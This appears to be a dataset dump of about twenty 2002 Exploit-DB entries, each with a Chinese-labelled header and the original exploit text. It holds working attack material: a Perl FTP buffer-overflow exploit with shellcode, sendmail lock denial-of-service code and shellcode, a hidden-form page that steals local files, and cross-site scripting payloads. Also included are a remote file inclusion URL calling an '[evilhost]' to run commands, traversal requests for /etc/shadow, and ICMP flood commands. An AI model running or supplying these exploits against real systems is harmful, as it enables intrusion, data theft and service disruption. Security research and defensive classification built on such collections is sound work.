QLWD/code_shield huggingface dataset:
标题: MIT PGP Public Key Server 0.9.2/0.9.4 - Search String Remote Buffer Overflow EDB-ID: 21482 CVE: 2002-0900 类型: DOS 平台: LINUX 发布日期: 2002-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/4828/info

The PGP Public Key Server is a freely available, open source software package distributed by MIT. It is designed for use on Linux and Unix operating systems.

The PGP Public Key Server does not properly handle long search strings. Under some conditions, it may be possible to pass a long string to the server that could result in a buffer overflow. This may result in the overwriting of stack variables, including the return address. It should be noted that this vulnerability would be difficult to exploit, as client data is passed through isalnum() and tolower().

gpg --search-keys `perl -e "print 'A'x512"`

echo -e "GET /pks/lookup?op=index&search=`perl -e "print 'A'x512"`"| nc example.com 11371 URL: https://www.exploit-db.com/exploits/21482
标题: Image Display System 0.8.1 - Directory Existence Disclosure EDB-ID: 21487 CVE: 2002-1837 类型: WEBAPPS 平台: CGI 发布日期: 2002-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/4870/info

IDS (Image Display System) is an web based photo album application written in Perl. IDS is freely available and is maintained by Ashley M. Kirchner.

Users can confirm the existence and location of various directories residing on the IDS host. This is accomplished when a request for a directory and album name is sent to the host containing numerous '../' character sequences. The error page returned will indicate to the attacker whether the specified path is a valid directory or not. 

#!/usr/bin/perl -w
#
# ids-inform.pl (05/27/2002)
#
# Image Display System 0.8x Information Disclosure Exploit.
# Checks for existance of specified directory.
#
# By: isox [isox@chainsawbeer.com]
#
#
# usage: self explanitory
#
# my spelling: bad
#
# Hi Cody, You should be proud, I coded for you!
# Hi YpCat, Your perl is k-rad and pheersom.
#
#######
# URL #
#######
# http://0xc0ffee.com
# http://hhp-programming.net
#
#
#################
# Advertisement #
#################
#
# Going to Defcon X this year?  Well come to the one and only Dennys at Defcon breakfast.
# This is quickly becoming a yearly tradition put on by isox.  Check 0xc0ffee.com for
# more information.
#

$maxdepth = 30;

&Banner;

if ($#ARGV < 3) {
  die("Usage $0 <directory> <http://host/path/to/index.cgi> <host> <port>\n");
}

for($t=0; $t<$maxdepth; $t++) {
  $dotdot = "$dotdot" . "/..";
}

$query = "GET $ARGV[1]" . "?mode=album&album=$dotdot/$ARGV[0]\n\n";
$blahblah = &Directory($query, $ARGV[2], $ARGV[3]);

if($blahblah =~ /Sorry, invalid directory name/) {
  print("$ARGV[0] Exists.\n");
} else {
  print("$ARGV[0] Does Not Exist.\n");
}

exit 0;




sub Banner {
  print("IDS Information Disclosure Exploit\n");
  print("Written by isox [isox\@chainsawbeer.com]\n\n");
}


sub Directory {
  use IO::Socket::INET;

  my($query, $host, $port) = @_;

  $sock = new IO::Socket::INET (
            PeerAddr => $host,
            PeerPort => $port,
            Timeout => 8,
            Proto => 'tcp'
          );

  if(!$sock) {
    die("sock: timed out\n");
  }


  print $sock $query;
  read($sock, $buf, 8192);
  close($sock);

  return $buf;
}

<-- EOF --> URL: https://www.exploit-db.com/exploits/21487
标题: Microsoft MSN Messenger 1 < 4 - Malformed Invite Request Denial of Service EDB-ID: 21481 CVE: 2002-1831 类型: DOS 平台: WINDOWS 发布日期: 2002-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/4827/info

Microsoft's MSN Messenger is an instant messenging client for Windows based machines, based on the Passport system.

A vulnerability has been reported in some versions of MSN Messenger. Under some circumstances, it may be possible to crash the client when it receives a malformed invite request. By including a number of HTML-encoded space characters (%20) in the Invitation-Cookie field, and sending the header to a remote user, it is reportedly possible to crash a remote user's client. 

MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8

Application-Name: Remote Assistance
Application-GUID: {56b994a7-380f-410b-9985-c809d78c1bdc}
Session-Protocol: SM1
Application-URL: http://www.microsoft.com
Invitation-Command: INVITE
Invitation-Cookie: 54902160%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
Session-ID: {8B1BE64F-4019-489D-B1A3-EC0BA993651B} URL: https://www.exploit-db.com/exploits/21481
标题: Opera 6.0.1/6.0.2 - Arbitrary File Disclosure EDB-ID: 21483 CVE: 2002-0898 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/4834/info

A vulnerability has been reported in Opera 6.01/6.02. The vulnerability is related to handling of the 'file' HTML input-type. It is possible for a server to set the file value, while fooling Opera into thinking no file has been specified. This is possible if the filename is appended with the string "&#10;". This HTML-encoded newline character will cause the browser to believe that no value has been set. Consequently, the form will be submitted and the specified file will be uploaded to the server. This may occur without knowledge or consent of the victim user.

Exploitation of this vulnerability allows for malicious webmasters to obtain arbitrary files from client systems. 

<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php"
name="secForm">
<input type="file" name="expFile" value="c:\test.txt&#10;"
style="visibility:hidden">
</form>
</body> URL: https://www.exploit-db.com/exploits/21483
标题: Netscape Enterprise Web Server for Netware 4/5 5.0 - Information Disclosure EDB-ID: 21488 CVE: 2002-1634 类型: REMOTE 平台: NOVELL 发布日期: 2002-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/4874/info

It has been reported that Netscape Enterprise Web Server may disclose path and system information to a remote user.

Netscape Enterprise Web Server for Netware contain several sample files which leak system information, this information can be obtained by remote users.

An attacker is able to send a request, for an affected sample file, that will cause the host to disclose the location of the web root path. Certain sample files will also reveal detailed system specific information. 

http://webserver/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/test.jse

http://webserver/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse

http://webserver/perl/samples/env.pl

http://webserver/perl/samples/lancgi.pl

http://webserver/perl/samples/volscgi.pl

http://webserver/perl/samples/ndslogin.pl

http://webserver/netbasic/websinfo.bas URL: https://www.exploit-db.com/exploits/21488
标题: Apache Tomcat 3.2.3/3.2.4 - Example Files Web Root Full Path Disclosure EDB-ID: 21491 CVE: 2002-2007 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/4877/info

Apache Tomcat is a freely available, open source web server maintained by
the Apache Foundation.

When Apache Tomcat is installed with a default configuration, several example files are also installed. When some of these example files are requested without any input, they will return an error containing the absolute path to the server's web root. 

The attacker can submit a request in one of the following formats:
http://webserver/test/jsp/pageInfo.jsp
http://webserver/test/jsp/pageImport2.jsp
http://webserver/test/jsp/buffer1.jsp
http://webserver/test/jsp/buffer2.jsp
http://webserver/test/jsp/buffer3.jsp
http://webserver/test/jsp/buffer4.jsp
http://webserver/test/jsp/comments.jsp
http://webserver/test/jsp/extends1.jsp
http://webserver/test/jsp/extends2.jsp
http://webserver/test/jsp/pageAutoFlush.jsp
http://webserver/test/jsp/pageDouble.jsp
http://webserver/test/jsp/pageExtends.jsp
http://webserver/test/jsp/pageImport2.jsp
http://webserver/test/jsp/pageInfo.jsp
http://webserver/test/jsp/pageInvalid.jsp
http://webserver/test/jsp/pageIsErrorPage.jsp
http://webserver/test/jsp/pageIsThreadSafe.jsp
http://webserver/test/jsp/pageLanguage.jsp
http://webserver/test/jsp/pageSession.jsp
http://webserver/test/jsp/declaration/IntegerOverflow.jsp URL: https://www.exploit-db.com/exploits/21491
标题: CGIScript.net - 'csPassword.cgi' 1.0 HTAccess File Modification EDB-ID: 21495 CVE: 2002-0919 类型: WEBAPPS 平台: CGI 发布日期: 2002-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/4888/info

CGIScript.net provides various webmaster related tools and is maintained by Mike Barone and Andy Angrick.

A vulnerability has been reported in the csPassword.cgi script developed by CGIScript.net. It is possible for an authenticated user to add directives and make changes to the generated .htaccess file. 

javascript:void(document.form1.title.outerHTML="<textarea name=title>&lt;/textarea&gt;");

Adding the javascript as part of the URL will change the text field into a textbox allowing users to enter newlines and other characters. URL: https://www.exploit-db.com/exploits/21495
标题: LocalWEB2000 2.1.0 Standard - File Disclosure EDB-ID: 21475 CVE: 2002-0897 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/4820/info

A vulnerability exists in LocalWEB2000 related to content password protection. It is possible to have LocalWEB2000 treat files as unprotected by requesting them as files within the '.' (current) directory. If the file http://server/file.txt is set to be password protected, the protection will be bypassed if a request is made for http://server/./file.txt. This is likely due to a design error in the protection component.

This vulnerability was reported for LocalWEB2000 Standard Version 2.1.0. Other versions (such as the Professional Edition) may also be affected by this issue. 

http://target/./protectedfolder/protectedfile.htm URL: https://www.exploit-db.com/exploits/21475
标题: Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (2) EDB-ID: 21477 CVE: 2002-1827 类型: DOS 平台: LINUX 发布日期: 2002-05-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/4822/info
 
Sendmail is a MTA for Unix and Linux variants.
 
There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation. 

#include <fcntl.h>
#include <unistd.h>

/*

Stupid piece of code to test the sendmail lock vulnerability on
FreeBSD. Run this and try sendmail -t on FreeBSD for example.

More info: http://www.sendmail.org/LockingAdvisory.txt

zillion (at safemode.org && snosoft.com)
http://www.safemode.org
http://www.snosoft.com

*/

int main() {

  if(fork() == 0) {

    char *lock1 = "/etc/mail/aliases";
    char *lock2 = "/etc/mail/aliases.db";
    char *lock3 = "/var/log/sendmail.st";

    int fd;
    fd = open(lock1,O_RDONLY);
    flock(fd,0x02);

    fd = open(lock2,O_RDONLY);
    flock(fd,0x02);

    fd = open(lock3,O_RDONLY);
    flock(fd,0x02);

    /* We are here to stay! */

    for(;;) {}

  }
} URL: https://www.exploit-db.com/exploits/21477
标题: OpenBB 1.0.0 RC3 - BBCode Cross Agent HTML Injection EDB-ID: 21474 CVE: 2002-1829 2002-0330 类型: WEBAPPS 平台: PHP 发布日期: 2002-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/4819/info

OpenBB is web forum software written in PHP. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

OpenBB is reportedly vulnerable to HTML injection attacks. The vulnerability occurs when HTML code is replaced with BBCodes.

OpenBB uses 'BBCodes' in the place of HTML code to include images, links etc. However, HTML tags are not adequately replaced from with BBCodes. It is possible to inject arbitrary HTML code into forum messages. As a result, OpenBB is prone to cross-agent scripting attacks. Script code will be executed in the browser of the user viewing the forum message and may allow an attacker to steal cookie-based authentication credentials. 

[ img]http:// " onerror="ANYSCRIPT"[/img ] URL: https://www.exploit-db.com/exploits/21474
标题: NewAtlanta ServletExec/ISAPI 4.1 - Full Path Disclosure EDB-ID: 21469 CVE: 2002-0892 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/4793/info

ServletExec/ISAPI is a plug-in Java Servlet/JSP engine for Microsoft IIS. It runs with IIS on Microsoft Windows NT/2000/XP systems.

ServletExec/ISAPI discloses the absolute path to the webroot directory when sent a specially formatted request without a trailing filename.

This type of sensitive information may aid in further attacks against the host running the vulnerable software.

http://target/servlet/com.newatlanta.servletexec.JSP10Servlet/ URL: https://www.exploit-db.com/exploits/21469
标题: Matu FTP Server 1.13 - Remote Buffer Overflow EDB-ID: 21468 CVE: 2002-0895 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/4792/info

Matu FTP Server is a freely available FTP server for Microsoft Windows 95 and 98 operating systems.

Matu FTP Server is vulnerable to a buffer overflow condition.

It is possible for a malicious user to craft a request that will result in code execution on the vulnerable system.

This issue has been reported in Matu FTP Server 1.13. Other versions may also be affected. 

#!/usr/local/bin/perl

#-----------------------------------------------
# MatuFtpServer 1.1.3.0 exploit ( for Windows98 )
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#-----------------------------------------------

use Socket;

$connect_host = "target.example.com";
$port = 21;
$iaddr = inet_aton( $connect_host ) || die "Host Resolve Error.\n";
$sock_addr = pack_sockaddr_in( $port, $iaddr );
socket( SOCKET, PF_INET, SOCK_STREAM, 0 ) || die "Socket Error.\n";
connect( SOCKET, $sock_addr ) || die "Connect Error\n";
select( SOCKET ); $|=1; select( STDOUT );

    #egg written by UNYUN (http://www.shadowpenguin.org/)
    #16bytes
$egg  = "\x43\x43\x43\x43\x43\x53\x53\x53";
$egg .= "\xB8\x2D\x23\xF5\xBF\x48\x50\xC3";

    #0x0177F984
$buf  = "\x90" x 1032;
$buf .= $egg;
$buf .= "\x8C\xF9\x77\x01";
$buf .= "A" x 696;

print SOCKET "PASS $buf\r\n";
$hoge = <SOCKET>; print $hoge;

--

#sorry for the bad english

Kanatoko <anvil@jumperz.net>
http://www.jumperz.net/(Japanese) URL: https://www.exploit-db.com/exploits/21468
标题: OpenBB 1.0 - Unauthorized Moderator Access EDB-ID: 21478 CVE: 2002-1830 类型: WEBAPPS 平台: PHP 发布日期: 2002-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/4823/info

OpenBB is web forum software written in PHP. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

OpenBB is reported to be vulnerable to a condition that will allow an unauthorized user to gain moderator or administrative access to forums. The attacker is only able to change a few properties of the forums. 

http://www.site.com/moderator.php?action=lock&TID=LIDDUFORUM&ismod=1

This will lock the forum. Other keywords include 'action=sticky' or 'action=important'. URL: https://www.exploit-db.com/exploits/21478
标题: ViewCVS 0.9.2 - Cross-Site Scripting EDB-ID: 21473 CVE: 2002-0771 类型: WEBAPPS 平台: CGI 发布日期: 2002-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/4818/info

ViewCVS does not filter HTML tags from certain URL parameters, making it prone to cross-site scripting attacks.

An attacker may exploit this by constructing a malicious link with script code to a site running ViewCVS and sending it to a legitimate user of the site. When the legitimate user follows the link, the attacker's script code is executed in their web client in the security context of the website running ViewCVS. 

http://target/cgi-bin/viewcvs.cgi/viewcvs/?cvsroot=<script>alert("hello")</script>

http://target/cgi-bin/viewcvs.cgi/viewcvs/viewcvs/?sortby=rev"><script>alert("hello")</script> URL: https://www.exploit-db.com/exploits/21473
标题: GNU Mailman 2.0.x - Admin Login Cross-Site Scripting EDB-ID: 21480 CVE: 2002-0388 类型: WEBAPPS 平台: CGI 发布日期: 2002-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/4825/info

GNU Mailman is prone to a cross-site scripting vulnerability. An attacker may construct a malicious link to the administrative login page, which contains arbitrary HTML and script code.

A user visiting the link will have the attacker's script code executed in their web browser in the context of the site running the vulnerable software. 

http://target/mailman_directory/admin/ml-name?adminpw="></form><form/action="http://attackerhost/attackerscript.cgi"/method="post"><br URL: https://www.exploit-db.com/exploits/21480
标题: Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (1) EDB-ID: 21476 CVE: 2002-1827 类型: DOS 平台: LINUX 发布日期: 2002-05-24 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/4822/info

Sendmail is a MTA for Unix and Linux variants.

There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation. 
*/

/*

FreeBSD Sendmail DoS shellcode that locks /etc/mail/aliases.db
Written by zillion (at http://www.safemode.org && http://www.snosoft.com)

More info: http://www.sendmail.org/LockingAdvisory.txt

*/

char shellcode[] =
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x14\x50\x56\xb0\x05\x50\xcd\x80"
        "\x6a\x02\x50\xb0\x83\x50\xcd\x80\x80\xe9\x03\x78\xfe\xe8\xe1"
        "\xff\xff\xff\x2f\x65\x74\x63\x2f\x6d\x61\x69\x6c\x2f\x61\x6c"
        "\x69\x61\x73\x65\x73\x2e\x64\x62";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
} URL: https://www.exploit-db.com/exploits/21476
标题: NewAtlanta ServletExec/ISAPI 4.1 - File Disclosure EDB-ID: 21470 CVE: 2002-0893 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/4795/info

ServletExec/ISAPI is a plug-in Java Servlet/JSP engine for Microsoft IIS. It runs with IIS on Microsoft Windows NT/2000/XP systems.

ServletExec/ISAPI will disclose the contents of arbitrary files within the webroot directory by sending a request containing URL encoded directory traversal sequences. While this will cause the software to serve files within wwwroot that normally would not be served, it does not appear possible to exploit this condition to break out of the webroot.

http://target/servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5c\global.asa URL: https://www.exploit-db.com/exploits/21470
标题: Hosting Controller 1.x - 'Browse.asp' File Disclosure EDB-ID: 21464 CVE: 2002-0775 类型: WEBAPPS 平台: ASP 发布日期: 2002-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4778/info

Hosting Controller is an application which consolidates all hosting tasks into one interface. Hosting Controller runs on Microsoft Windows operating systems.

The 'browse.asp' script is prone to an issue which may allow a remote attacker to view the contents of arbitrary files and directories. The attacker must provide a malicious value as a URL parameter in a request for the affected script, which will be read with the privileges of the web server process. 

http://target/admin/browse.asp?FilePath=c:\&Opt=2&level=0 URL: https://www.exploit-db.com/exploits/21464
标题: Phorum 3.3.2a - Remote Command Execution EDB-ID: 21459 CVE: 2002-0764 类型: WEBAPPS 平台: PHP 发布日期: 2002-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4763/info

Phorum is a PHP based web forums package designed for most UNIX variants, Linux, and Microsoft Windows operating systems.

A vulnerability has been reported in Phorum that will allow remote attackers to specify external PHP scripts and potentially execute commands.

The vulnerability exists in 'plugin.php','admin.php' and 'del.php' files found in the distribution of Phorum. It is possible for a malicious attacker to specify the location of a parameter to the vulnerable PHP files by passing an argument via URL to the PHP files. 

http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls

http://[vulnerablehost]/phorum/admin/actions/del.php?include_path=http://[evilhost]&cmd=ls URL: https://www.exploit-db.com/exploits/21459
标题: Hosting Controller 1.x - DSNManager Directory Traversal EDB-ID: 21455 CVE: 2002-0772 类型: WEBAPPS 平台: ASP 发布日期: 2002-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4759/info

Hosting Controller is an application which consolidates all hosting tasks into one interface. Hosting Controller runs on Microsoft Windows operating systems.

The DSNManager script does not sufficiently filter dot-dot-slash (../) sequences from URL parameters, making it prone to directory traversal attacks. An attacker can exploit this condition to disclose the contents of arbitrary web-readable files or potentially add a DSN (Data Source Number) to an arbitrary directory. 

http://target/admin/dsn/dsnmanager.asp?DSNAction=ChangeRoot&RootName=D:\webspace\opendnsserver\targ
et\target.com\db\..\..\..\..\ URL: https://www.exploit-db.com/exploits/21455
标题: Cisco IOS 11.x/12.0 - ICMP Redirect Denial of Service EDB-ID: 21465 CVE: 2002-2315 类型: DOS 平台: HARDWARE 发布日期: 2002-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/4786/info

IOS is the Internet Operating System, used on Cisco routers. It is distributed and maintained by Cisco.

It has been reported that it is possible to cause a denial of service in some Cisco routers by sending a large amount of spoofed ICMP redirect messages.

This vulnerability has been assigned Cisco bug ID CSCdx32056.

The following products are known to be affected:

Cisco 1005 running IOS 11.0(18)
Cisco 1603 running IOS 11.3(11b)
Cisco 1603 running IOS 12.0(3)
Cisco 2503 running IOS 11.0(22a)
Cisco 2503 running IOS 11.1(24a) 

To generate random ICMP redirect messages, a sender tool is available
at http://www.phenoelit.de/irpas/icmp_redflod.c, which has to be
linked with the IRPAS packet library.

linuxbox# cd /where/irpas/is
linuxbox# make libpackets.a
linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets
linuxbox# ./icmp_redflod -i eth0 -D <destination_ip> -G <fake_gateway>

On high bandwidth networks, the command line switch -w0 can be used to increase the sending rate. URL: https://www.exploit-db.com/exploits/21465
标题: Cisco IDS Device Manager 3.1.1 - Arbitrary File Read Access EDB-ID: 21456 CVE: 2002-0908 类型: REMOTE 平台: HARDWARE 发布日期: 2002-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4760/info

IDS Device Manager is a web interface to the Cisco IDS systems. It is distributed and maintained by Cisco Systems.

The IDS Device Manager may allow a remote user to gain access to sensitive information on the system. Due to improper handling of user-supplied input, it is possible for a user to gain access to arbitrary files on the system using an elementary directory traversal attack. By placing a request to the process, with an appended dot-dot-slash (../) tag pointing to a file, a remote user may read the specified file on the affected system. 

https://example.com/../../../../../etc/shadow URL: https://www.exploit-db.com/exploits/21456
标题: Microsoft Internet Explorer 5.0.1/6.0 - Content-Disposition Handling File Execution EDB-ID: 21452 CVE: 2002-0193 2002-0192 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/4752/info

An issue exists in the way Microsoft Internet Explorer handles conflicting information in some HTTP headers used to describe non-HTML content. A malicious web server may provide content with misleading values in the content-type and content-disposition headers.

Under some circumstances, the result may be that IE will automatically download and execute attacker-supplied programs.

It has been demonstrated that this vulnerability can be exploited when Windows Media Player 6.4 or 7.1 is installed on the system.

This vulnerability may also be exploited through HTML formatted email. 

This vulnerability could potentially be exploited by an HTTP header similar to the following:
Content-Type: audio/x-ms-wma
Content-disposition: inline; filename="foo.exe" URL: https://www.exploit-db.com/exploits/21452